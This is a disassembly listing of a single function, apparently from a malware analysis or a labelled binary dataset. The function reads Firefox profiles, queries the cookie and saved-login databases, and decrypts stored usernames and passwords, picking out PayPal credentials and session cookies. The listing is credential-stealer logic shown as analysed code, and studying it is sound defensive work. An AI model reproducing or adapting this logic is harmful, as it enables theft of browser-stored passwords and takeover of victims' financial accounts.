Function at 0x40dff0
Capabilities:
Gather firefox profile information
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x491f09
mov eax, dword fs:[0]
push eax
mov eax, 0x158c
call fcn.00478020
mov eax, dword [0x4a7464]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x31c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x31c]
push ecx
push str._sMozillaFirefoxprofiles.ini
push 0xffffffffffffffff
lea edx, [ebp - 0x114]
push 0x104
push edx
call fcn.00476bb3
add esp, 0x14
lea eax, [ebp - 0x114]
push eax
push 0x1000
lea ecx, [ebp - 0x131c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
lea edi, [ebp - 0x131c]
mov dword [ebp - 0x14b8], edi
push 7
push str.Profile
push edi
call fcn.00478483
add esp, 0xc
test eax, eax
jne 0x40f20c
lea edx, [ebp - 0x114]
push edx
push 0x104
lea eax, [ebp - 0x218]
push eax
push ebx
push str.Path
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x133c], 0xf
mov dword [ebp - 0x1340], ebx
mov byte [ebp - 0x1350], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e0d4
sub eax, edx
push eax
lea ecx, [ebp - 0x218]
push ecx
lea ecx, [ebp - 0x1354]
call fcn.00401ac0
lea eax, [ebp - 0x218]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1320], 0xf
mov dword [ebp - 0x1324], ebx
mov byte [ebp - 0x1334], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e112
sub eax, esi
push eax
lea edx, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x1338]
call fcn.00401ac0
push 1
push ebx
push 0x493d54
lea ecx, [ebp - 0x1354]
mov byte [ebp - 4], 1
call fcn.00404270
push 0xffffffffffffffff
inc eax
push eax
lea eax, [ebp - 0x149c]
push eax
lea ecx, [ebp - 0x1338]
call fcn.00406280
cmp dword [eax + 0x18], 0x10
jb 0x40e166
mov eax, dword [eax + 4]
jmp 0x40e169
add eax, 4
push eax
lea ecx, [ebp - 0x31c]
push ecx
push str._sMozillaFirefoxProfiles_s
push 0xffffffffffffffff
lea edx, [ebp - 0x114]
push 0x104
push edx
call fcn.00476bb3
mov esi, 0x10
add esp, 0x18
cmp dword [ebp - 0x1484], esi
jb 0x40e1a8
mov eax, dword [ebp - 0x1498]
push eax
call fcn.00476416
add esp, 4
mov dword [ebp - 0x1484], 0xf
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
cmp dword [ebp - 0x1320], esi
jb 0x40e1d5
mov ecx, dword [ebp - 0x1334]
push ecx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x1320], 0xf
mov dword [ebp - 0x1324], ebx
mov byte [ebp - 0x1334], bl
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x133c], esi
jb 0x40e209
mov edx, dword [ebp - 0x1350]
push edx
call fcn.00476416
add esp, 4
lea eax, [ebp - 0x114]
push eax
call dword [0x4aaa8c]
add esp, 4
test eax, eax
jne 0x40f206
push ebx
lea ecx, [ebp - 0x114]
push str._signons.sqlite
push ecx
call fcn.004034c0
push ebx
lea edx, [ebp - 0x114]
push str.cookies.sqlite
push edx
mov dword [ebp - 0x14ac], eax
call fcn.004034c0
push ebx
mov dword [ebp - 0x14b4], eax
lea eax, [ebp - 0x114]
push str.logins.json
push eax
call fcn.004034c0
add esp, 0x24
lea ecx, [ebp - 0x1470]
mov esi, eax
call fcn.00409800
and dword [ebp - 0x14cc], 0xfffffe00
mov dword [ebp - 4], 2
mov dword [ebp - 0x14c8], ebx
push 1
push 0x40
push 1
push esi
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 4
call fcn.00409c50
push 1
lea ecx, [ebp - 0x14d4]
push ecx
lea edx, [ebp - 0x1598]
push edx
lea ecx, [ebp - 0x1470]
mov byte [ebp - 4], 5
call fcn.0040df30
test al, al
je 0x40e8a9
mov dword [ebp - 0x13c8], 0xf
mov dword [ebp - 0x13cc], ebx
mov byte [ebp - 0x13dc], bl
push ebx
push str.logins
lea ecx, [ebp - 0x14d4]
mov byte [ebp - 4], 6
call fcn.0040d080
cmp byte [eax + 8], bl
je 0x40e88d
push ebx
push str.logins
lea ecx, [ebp - 0x14d4]
call fcn.0040d080
mov ecx, eax
call fcn.00404e50
push ebx
mov esi, eax
push str.logins
lea ecx, [ebp - 0x14d4]
mov dword [ebp - 0x14b0], esi
call fcn.0040d080
push eax
lea ecx, [ebp - 0x150c]
call fcn.0040ca10
cmp esi, ebx
mov byte [ebp - 4], 7
mov dword [ebp - 0x1478], ebx
jle 0x40e87e
lea ebx, [ebx]
mov esi, dword [ebp - 0x1478]
push esi
lea ecx, [ebp - 0x150c]
call fcn.0040cee0
push ebx
push str.hostname
mov ecx, eax
call fcn.0040d080
mov edi, dword [eax]
push esi
lea ecx, [ebp - 0x150c]
call fcn.0040cee0
push ebx
push str.encryptedUsername
mov ecx, eax
call fcn.0040d080
mov eax, dword [eax]
push eax
call fcn.00403570
add esp, 4
push esi
lea ecx, [ebp - 0x150c]
mov dword [ebp - 0x147c], eax
call fcn.0040cee0
push ebx
push str.encryptedPassword
mov ecx, eax
call fcn.0040d080
mov eax, dword [eax]
push eax
call fcn.00403570
add esp, 4
push ebx
mov esi, 0xf
push 0x493343
lea ecx, [ebp - 0x1354]
mov dword [ebp - 0x14a4], eax
mov dword [ebp - 0x133c], esi
mov dword [ebp - 0x1340], ebx
mov byte [ebp - 0x1350], bl
call fcn.00401ac0
push ebx
push 0x493343
lea ecx, [ebp - 0x1338]
mov byte [ebp - 4], 8
mov dword [ebp - 0x1320], esi
mov dword [ebp - 0x1324], ebx
mov byte [ebp - 0x1334], bl
call fcn.00401ac0
mov eax, edi
mov byte [ebp - 4], 9
lea esi, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e420
mov ecx, str.https:__www.paypal.com
sub eax, esi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x40e431
sub ecx, esi
cmp eax, ecx
jb 0x40e493
mov eax, str.https:__www.paypal.com
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e448
sub eax, edx
je 0x40e493
jmp 0x40e460
mov al, byte [esi + edi]
mov byte [ebp - 0x14d8], al
mov ecx, dword [ebp - 0x14d8]
push ecx
push 1
lea ecx, [ebp - 0x1354]
call fcn.00401810
mov eax, str.https:__www.paypal.com
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e486
sub eax, edx
cmp esi, eax
jb 0x40e460
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e498
sub eax, edx
mov edx, eax
mov eax, str.https:__paypal.com
lea esi, [eax + 1]
jmp 0x40e4b0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e4b0
sub eax, esi
cmp edx, eax
jb 0x40e513
mov eax, str.https:__paypal.com
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e4c7
sub eax, edx
je 0x40e513
jmp 0x40e4e0
mov dl, byte [esi + edi]
mov byte [ebp - 0x14e0], dl
mov eax, dword [ebp - 0x14e0]
push eax
push 1
lea ecx, [ebp - 0x1338]
call fcn.00401810
mov eax, str.https:__paypal.com
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e506
sub eax, edx
cmp esi, eax
jb 0x40e4e0
sub esp, 0x1c
mov esi, esp
mov eax, str.https:__www.paypal.com
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [ebp - 0x1480], esp
mov byte [esi + 4], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e533
sub eax, edi
push eax
push str.https:__www.paypal.com
mov ecx, esi
call fcn.00401ac0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1474], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x1354]
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
push edx
mov byte [ebp - 4], 0xa
mov byte [ecx + 4], bl
call fcn.004018c0
mov byte [ebp - 4], 9
call fcn.00474820
add esp, 0x38
cmp al, bl
jne 0x40e5fb
sub esp, 0x1c
mov esi, esp
mov dword [esi + 0x18], edi
mov eax, str.https:__paypal.com
mov dword [esi + 0x14], ebx
mov dword [ebp - 0x1474], esp
mov byte [esi + 4], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e5a1
sub eax, edi
push eax
push str.https:__paypal.com
mov ecx, esi
call fcn.00401ac0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1480], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1338]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ebp - 4], 0xb
mov byte [ecx + 4], bl
call fcn.004018c0
mov byte [ebp - 4], 9
call fcn.00474820
add esp, 0x38
mov edi, 0xf
cmp al, bl
je 0x40e79e
mov esi, dword [ebp - 0x14a4]
cmp esi, ebx
je 0x40e7a4
mov dword [ebp - 0x1484], edi
mov edi, dword [ebp - 0x147c]
mov eax, edi
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e626
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x149c]
call fcn.00401ac0
lea ecx, [ebp - 0x149c]
push ecx
mov ecx, 0x4aaaa0
mov byte [ebp - 4], 0xc
call fcn.00403140
cmp dword [ebp - 0x1484], 0x10
mov byte [ebp - 4], 9
jb 0x40e66d
mov edx, dword [ebp - 0x1498]
push edx
call fcn.00476416
add esp, 4
mov eax, esi
mov dword [ebp - 0x1484], 0xf
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e688
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x149c]
call fcn.00401ac0
lea eax, [ebp - 0x149c]
push eax
mov ecx, 0x4aaaec
mov byte [ebp - 4], 0xd
call fcn.00403140
cmp dword [ebp - 0x1484], 0x10
jb 0x40e6cb
mov ecx, dword [ebp - 0x1498]
push ecx
call fcn.00476416
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x1374], eax
mov dword [ebp - 0x1378], ebx
mov byte [ebp - 0x1388], bl
mov dword [ebp - 0x1358], eax
mov dword [ebp - 0x135c], ebx
mov byte [ebp - 0x136c], bl
mov eax, edi
mov byte [ebp - 4], 0xe
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e700
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x138c]
call fcn.00401ac0
mov eax, esi
lea edx, [eax + 1]
jmp 0x40e720
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e720
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x1370]
call fcn.00401ac0
lea edx, [ebp - 0x138c]
push edx
mov ecx, 0x4aaad4
call fcn.0040aaa0
push esi
push edi
push str._s__s_n
call fcn.004780e0
add esp, 0xc
cmp dword [ebp - 0x1358], 0x10
jb 0x40e76e
mov eax, dword [ebp - 0x136c]
push eax
call fcn.00476416
add esp, 4
cmp dword [ebp - 0x1374], 0x10
mov dword [ebp - 0x1358], 0xf
mov dword [ebp - 0x135c], ebx
mov byte [ebp - 0x136c], bl
jb 0x40e809
mov ecx, dword [ebp - 0x1388]
push ecx
call fcn.00476416
add esp, 4
jmp 0x40e809
mov esi, dword [ebp - 0x14a4]
mov eax, esi
mov dword [ebp - 0x1484], edi
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
lea edx, [eax + 1]
jmp 0x40e7c0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40e7c0
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x149c]
call fcn.00401ac0
lea edx, [ebp - 0x149c]
push edx
mov ecx, 0x4aaaec
mov byte [ebp - 4], 0xf
call fcn.00403140
cmp dword [ebp - 0x1484], 0x10
jb 0x40e803
mov eax, dword [ebp - 0x1498]
push eax
call fcn.00476416
add esp, 4
mov edi, dword [ebp - 0x147c]
push edi
call fcn.00476ba8
push esi
call fcn.00476ba8
mov esi, 0x10
add esp, 8
cmp dword [ebp - 0x1320], esi
jb 0x40e834
mov ecx, dword [ebp - 0x1334]
push ecx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x1320], 0xf
mov dword [ebp - 0x1324], ebx
mov byte [ebp - 0x1334], bl
mov byte [ebp - 4], 7
cmp dword [ebp - 0x133c], esi
jb 0x40e865
mov edx, dword [ebp - 0x1350]
push edx
call fcn.00476416
add esp, 4
mov eax, dword [ebp - 0x1478]
inc eax
cmp eax, dword [ebp - 0x14b0]
mov dword [ebp - 0x1478], eax
jl 0x40e350
lea ecx, [ebp - 0x150c]
mov byte [ebp - 4], 6
call fcn.00409ab0
cmp dword [ebp - 0x13c8], 0x10
mov byte [ebp - 4], 5
jb 0x40e8a9
mov eax, dword [ebp - 0x13dc]
push eax
call fcn.00476416
add esp, 4
mov edx, dword [ebp - 0x14b4]
lea ecx, [ebp - 0x14dc]
push ecx
push edx
call dword [0x4aaa88]
add esp, 8
test eax, eax
jne 0x40ec0d
mov ecx, dword [ebp - 0x14dc]
push ebx
lea eax, [ebp - 0x14a8]
push eax
push 0xffffffffffffffff
push str.SELECT__FROM_moz_cookies
push ecx
call dword [0x4aaa98]
add esp, 0x14
test eax, eax
jne 0x40ec00
mov edx, dword [ebp - 0x14a8]
push edx
call dword [0x4aaa90]
add esp, 4
cmp eax, 0x64
jne 0x40ebf2
jmp 0x40e910
mov eax, dword [ebp - 0x14a8]
push 1
push eax
call dword [0x4aaa78]
mov ecx, dword [ebp - 0x14a8]
push 4
push ecx
mov esi, eax
call dword [0x4aaa78]
mov edx, dword [ebp - 0x14a8]
push 5
push edx
mov dword [ebp - 0x14a4], eax
call dword [0x4aaa78]
add esp, 0x18
push esi
push str.paypal.com
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40e972
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
push str.www.paypal.com
call esi
test eax, eax
jne 0x40ebd9
jmp 0x40e978
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
mov eax, dword [ebp - 0x14a4]
push eax
push str.login_email
call esi
test eax, eax
je 0x40e9a0
mov ecx, dword [ebp - 0x14a4]
push ecx
push str.email
call esi
test eax, eax
jne 0x40ebd9
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1474], esp
push 3
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push 0x4939bc
mov byte [ecx + 4], bl
call fcn.00401ac0
sub esp, 0x1c
mov esi, esp
mov eax, edi
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x1480], esp
mov byte [esi + 4], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40e9e5
sub eax, ecx
push eax
push edi
mov ecx, esi
call fcn.00401ac0
lea edx, [ebp - 0x1334]
push edx
mov byte [ebp - 4], 5
call fcn.00474d60
add esp, 0x3c
mov ecx, dword [ebp - 0x1324]
sub ecx, dword [ebp - 0x1328]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov byte [ebp - 4], 0x11
cmp eax, 3
je 0x40ea93
mov eax, edi
mov dword [ebp - 0x1484], 0xf
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ea50
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x149c]
call fcn.00401ac0
lea ecx, [ebp - 0x149c]
push ecx
mov ecx, 0x4aaaa0
mov byte [ebp - 4], 0x12
call fcn.00403140
cmp dword [ebp - 0x1484], 0x10
jb 0x40eb80
mov edx, dword [ebp - 0x1498]
jmp 0x40eb77
push ebx
push 0x493343
lea ecx, [ebp - 0x1354]
mov dword [ebp - 0x133c], 0xf
mov dword [ebp - 0x1340], ebx
mov byte [ebp - 0x1350], bl
call fcn.00401ac0
mov ecx, dword [ebp - 0x1324]
sub ecx, dword [ebp - 0x1328]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov byte [ebp - 4], 0x13
jne 0x40eae4
call fcn.004766d7
mov ecx, dword [ebp - 0x1328]
push 0xffffffffffffffff
push ebx
push ecx
lea ecx, [ebp - 0x1354]
call fcn.004024a0
push 1
push 0x4939b8
lea ecx, [ebp - 0x1354]
call fcn.004025b0
mov ecx, dword [ebp - 0x1324]
sub ecx, dword [ebp - 0x1328]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
lea esi, [eax - 1]
cmp esi, eax
jb 0x40eb36
call fcn.004766d7
mov eax, dword [ebp - 0x1328]
lea edx, [esi*8]
push 0xffffffffffffffff
sub edx, esi
lea eax, [eax + edx*4]
push ebx
push eax
lea ecx, [ebp - 0x1354]
call fcn.004024a0
lea ecx, [ebp - 0x1354]
push ecx
mov ecx, 0x4aaaa0
call fcn.00403140
cmp dword [ebp - 0x133c], 0x10
jb 0x40eb80
mov edx, dword [ebp - 0x1350]
push edx
call fcn.00476416
add esp, 4
mov eax, dword [ebp - 0x1328]
mov byte [ebp - 4], 5
cmp eax, ebx
je 0x40ebb8
mov ecx, dword [ebp - 0x1474]
push ecx
mov ecx, dword [ebp - 0x1324]
lea edx, [ebp - 0x132c]
push edx
push ecx
push eax
call fcn.004028c0
mov edx, dword [ebp - 0x1328]
push edx
call fcn.00476416
add esp, 0x14
mov eax, dword [ebp - 0x1334]
push eax
mov dword [ebp - 0x1328], ebx
mov dword [ebp - 0x1324], ebx
mov dword [ebp - 0x1320], ebx
call fcn.00476416
add esp, 4
mov ecx, dword [ebp - 0x14a8]
push ecx
call dword [0x4aaa90]
add esp, 4
cmp eax, 0x64
je 0x40e910
mov edx, dword [ebp - 0x14b4]
push edx
call fcn.00476ba8
jmp 0x40ec0a
push str.Cant_prepare_database__n
call fcn.004780e0
add esp, 4
mov ecx, dword [ebp - 0x14ac]
lea eax, [ebp - 0x14c0]
push eax
push ecx
mov dword [ebp - 0x147c], ebx
call dword [0x4aaa88]
add esp, 8
test eax, eax
jne 0x40f253
mov eax, dword [ebp - 0x14c0]
push ebx
lea edx, [ebp - 0x14a0]
push edx
push 0xffffffffffffffff
push str.SELECT_encryptedUsername__encryptedPassword__formSubmitURL_FROM_moz_logins
push eax
call dword [0x4aaa98]
add esp, 0x14
test eax, eax
jne 0x40f241
mov ecx, dword [ebp - 0x14a0]
push ecx
call dword [0x4aaa90]
add esp, 4
cmp eax, 0x64
jne 0x40f18c
mov edx, dword [ebp - 0x14a0]
push ebx
push edx
call dword [0x4aaa78]
mov dword [ebp - 0x14b0], eax
mov eax, dword [ebp - 0x14a0]
push 1
push eax
call dword [0x4aaa78]
mov ecx, dword [ebp - 0x14a0]
push 2
push ecx
mov esi, eax
call dword [0x4aaa78]
inc dword [ebp - 0x147c]
push esi
mov edi, eax
call fcn.00403570
add esp, 0x1c
push ebx
mov esi, 0xf
push 0x493343
lea ecx, [ebp - 0x13c4]
mov dword [ebp - 0x1478], eax
mov dword [ebp - 0x13ac], esi
mov dword [ebp - 0x13b0], ebx
mov byte [ebp - 0x13c0], bl
call fcn.00401ac0
push ebx
push 0x493343
lea ecx, [ebp - 0x13a8]
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x1390], esi
mov dword [ebp - 0x1394], ebx
mov byte [ebp - 0x13a4], bl
call fcn.00401ac0
mov eax, edi
mov byte [ebp - 4], 0x15
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ed15
mov ecx, str.https:__www.paypal.com
sub eax, esi
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
cmp dl, bl
jne 0x40ed26
sub ecx, esi
cmp eax, ecx
jb 0x40ed83
mov eax, str.https:__www.paypal.com
xor esi, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ed40
sub eax, edx
je 0x40ed83
jmp 0x40ed50
mov dl, byte [esi + edi]
mov byte [ebp - 0x14c4], dl
mov eax, dword [ebp - 0x14c4]
push eax
push 1
lea ecx, [ebp - 0x13c4]
call fcn.00401810
mov eax, str.https:__www.paypal.com
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ed76
sub eax, edx
cmp esi, eax
jb 0x40ed50
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ed88
sub eax, edx
mov edx, eax
mov eax, str.https:__paypal.com
lea esi, [eax + 1]
jmp 0x40eda0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40eda0
sub eax, esi
cmp edx, eax
jb 0x40ee03
mov eax, str.https:__paypal.com
xor esi, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40edb7
sub eax, edx
je 0x40ee03
jmp 0x40edd0
mov cl, byte [esi + edi]
mov byte [ebp - 0x14bc], cl
mov edx, dword [ebp - 0x14bc]
push edx
push 1
lea ecx, [ebp - 0x13a8]
call fcn.00401810
mov eax, str.https:__paypal.com
inc esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40edf6
sub eax, edx
cmp esi, eax
jb 0x40edd0
sub esp, 0x1c
mov esi, esp
mov eax, str.https:__www.paypal.com
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [ebp - 0x1474], esp
mov byte [esi + 4], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ee23
sub eax, edi
push eax
push str.https:__www.paypal.com
mov ecx, esi
call fcn.00401ac0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1480], esp
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x13c4]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ebp - 4], 0x16
mov byte [ecx + 4], bl
call fcn.004018c0
mov byte [ebp - 4], 0x15
call fcn.00474820
add esp, 0x38
cmp al, bl
jne 0x40eee9
sub esp, 0x1c
mov esi, esp
mov eax, str.https:__paypal.com
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov dword [ebp - 0x1474], esp
mov byte [esi + 4], bl
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ee94
sub eax, edi
push eax
push str.https:__paypal.com
mov ecx, esi
call fcn.00401ac0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x1480], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x13a8]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
mov byte [ebp - 4], 0x17
mov byte [ecx + 4], bl
call fcn.004018c0
mov byte [ebp - 4], 0x15
call fcn.00474820
add esp, 0x38
cmp al, bl
je 0x40f099
cmp dword [ebp - 0x1478], ebx
je 0x40f099
mov edi, dword [ebp - 0x14b0]
mov esi, 0xf
mov eax, edi
mov dword [ebp - 0x1484], esi
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ef17
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x149c]
call fcn.00401ac0
lea eax, [ebp - 0x149c]
push eax
mov ecx, 0x4aaaa0
mov byte [ebp - 4], 0x18
call fcn.00403140
cmp dword [ebp - 0x1484], 0x10
mov byte [ebp - 4], 0x15
jb 0x40ef5e
mov ecx, dword [ebp - 0x1498]
push ecx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x1484], esi
mov esi, dword [ebp - 0x1478]
mov eax, esi
mov dword [ebp - 0x1488], ebx
mov byte [ebp - 0x1498], bl
lea edx, [eax + 1]
jmp 0x40ef80
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40ef80
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x149c]
call fcn.00401ac0
lea edx, [ebp - 0x149c]
push edx
mov ecx, 0x4aaaec
mov byte [ebp - 4], 0x19
call fcn.00403140
cmp dword [ebp - 0x1484], 0x10
jb 0x40efc3
mov eax, dword [ebp - 0x1498]
push eax
call fcn.00476416
add esp, 4
mov eax, 0xf
mov dword [ebp - 0x1374], eax
mov dword [ebp - 0x1378], ebx
mov byte [ebp - 0x1388], bl
mov dword [ebp - 0x1358], eax
mov dword [ebp - 0x135c], ebx
mov byte [ebp - 0x136c], bl
mov eax, edi
mov byte [ebp - 4], 0x1a
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40eff5
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x138c]
call fcn.00401ac0
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40f010
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x1370]
call fcn.00401ac0
lea ecx, [ebp - 0x138c]
push ecx
mov ecx, 0x4aaad4
call fcn.0040aaa0
push esi
push edi
push str._s__s_n
call fcn.004780e0
mov esi, 0x10
add esp, 0xc
cmp dword [ebp - 0x1358], esi
jb 0x40f062
mov edx, dword [ebp - 0x136c]
push edx
call fcn.00476416
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x1358], edi
mov dword [ebp - 0x135c], ebx
mov byte [ebp - 0x136c], bl
cmp dword [ebp - 0x1374], esi
jb 0x40f11d
mov eax, dword [ebp - 0x1388]
push eax
call fcn.00476416
add esp, 4
jmp 0x40f11d
mov esi, dword [ebp - 0x1478]
mov edi, 0xf
mov eax, esi
mov dword [ebp - 0x14e4], edi
mov dword [ebp - 0x14e8], ebx
mov byte [ebp - 0x14f8], bl
lea edx, [eax + 1]
jmp 0x40f0c0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40f0c0
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x14fc]
call fcn.00401ac0
lea ecx, [ebp - 0x14fc]
push ecx
mov ecx, 0x4aaaec
mov byte [ebp - 4], 0x1b
call fcn.00403140
cmp dword [ebp - 0x14e4], 0x10
jb 0x40f103
mov edx, dword [ebp - 0x14f8]
push edx
call fcn.00476416
add esp, 4
mov esi, 0x10
mov dword [ebp - 0x14e4], edi
mov dword [ebp - 0x14e8], ebx
mov byte [ebp - 0x14f8], bl
lea edi, [esi - 1]
cmp dword [ebp - 0x1390], esi
jb 0x40f134
mov eax, dword [ebp - 0x13a4]
push eax
call fcn.00476416
add esp, 4
mov dword [ebp - 0x1390], edi
mov dword [ebp - 0x1394], ebx
mov byte [ebp - 0x13a4], bl
mov byte [ebp - 4], 5
cmp dword [ebp - 0x13ac], esi
jb 0x40f161
mov ecx, dword [ebp - 0x13c0]
push ecx
call fcn.00476416
add esp, 4
mov edx, dword [ebp - 0x14a0]
push edx
mov dword [ebp - 0x13ac], edi
mov dword [ebp - 0x13b0], ebx
mov byte [ebp - 0x13c0], bl
call dword [0x4aaa90]
add esp, 4
cmp eax, 0x64
je 0x40ec72
mov eax, dword [ebp - 0x14ac]
push eax
call fcn.00476ba8
add esp, 4
cmp dword [ebp - 0x147c], ebx
jne 0x40f1b7
mov ecx, dword [ebp - 0x14ac]
push ecx
push str.No_entries_found_in__s_n
call fcn.004780e0
add esp, 8
lea ecx, [ebp - 0x1540]
mov byte [ebp - 4], 4
call fcn.00408080
lea edx, [ebp - 0x1540]
push edx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00475e2e
add esp, 4
lea ecx, [ebp - 0x14d4]
mov byte [ebp - 4], 2
call fcn.00409ab0
lea ecx, [ebp - 0x1470]
mov dword [ebp - 4], 0xffffffff
call fcn.00409a30
mov edi, dword [ebp - 0x14b8]
call dword [0x4aaa9c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edi, [edi + eax + 1]
mov dword [ebp - 0x14b8], edi
cmp byte [edi], bl
jne 0x40e07d
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00476b99
mov esp, ebp
pop ebp
ret
push str.Cant_prepare_database__n
call fcn.004780e0
add esp, 4
jmp 0x40f1a3
push str.Cant_open_database__n
call fcn.004780e0
add esp, 4
jmp 0x40f1a3